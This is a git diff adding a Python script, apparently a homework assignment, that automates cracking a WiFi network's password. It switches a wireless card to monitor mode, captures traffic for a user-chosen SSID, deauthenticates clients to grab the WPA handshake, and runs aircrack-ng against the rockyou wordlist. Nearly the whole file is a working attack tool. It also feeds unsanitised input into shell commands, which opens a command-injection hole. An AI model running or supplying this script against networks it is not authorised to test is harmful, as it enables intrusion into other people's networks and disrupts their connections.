diff --git a/hw7/claude/app.py b/hw7/claude/app.py
index e69de29..95ad8ab 100644
--- a/hw7/claude/app.py
+++ b/hw7/claude/app.py
@@ -0,0 +1,63 @@
+import subprocess
+import re
+
+def run_command(command):
+    output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
+    return output.decode('utf-8')
+
+def change_to_monitor_mode(interface):
+    run_command(f"sudo airmon-ng start {interface}")
+
+def change_to_managed_mode(interface):
+    run_command(f"sudo airmon-ng stop {interface}")
+
+def get_wifi_interfaces():
+    output = run_command("iwconfig")
+    interfaces = re.findall(r"(\w+)\s+IEEE", output)
+    return interfaces
+
+def get_target_network(interface):
+    while True:
+        target_ssid = input("Enter the SSID of the target network: ")
+        output = run_command(f"sudo airodump-ng --essid '{target_ssid}' {interface}")
+        if target_ssid in output:
+            break
+        print(f"Network {target_ssid} not found. Please try again.")
+    return target_ssid
+
+def capture_handshake(target_network, interface):
+    print(f"Capturing handshake for network {target_network}...")
+    run_command(f"sudo airodump-ng --essid '{target_network}' --write capture {interface} &")
+    run_command(f"sudo aireplay-ng -0 1 -e '{target_network}' {interface}")
+    run_command("sudo killall airodump-ng")
+
+def crack_password(capture_file, wordlist):
+    print("Cracking password...")
+    output = run_command(f"aircrack-ng {capture_file} -w {wordlist}")
+    password = re.search(r"KEY FOUND! \[(.*?)\]", output).group(1)
+    return password
+
+def main():
+    interfaces = get_wifi_interfaces()
+    if len(interfaces) == 0:
+        print("No WiFi interfaces found.")
+        return
+
+    interface = interfaces[0]
+    print(f"Using interface {interface}")
+
+    change_to_monitor_mode(interface)
+
+    target_network = get_target_network(interface)
+    capture_handshake(target_network, interface)
+
+    change_to_managed_mode(interface)
+
+    capture_file = "capture-01.cap"
+    wordlist = "~/rockyou.txt"
+    password = crack_password(capture_file, wordlist)
+
+    print(f"Password for network {target_network} is: {password}")
+
+if __name__ == "__main__":
+    main()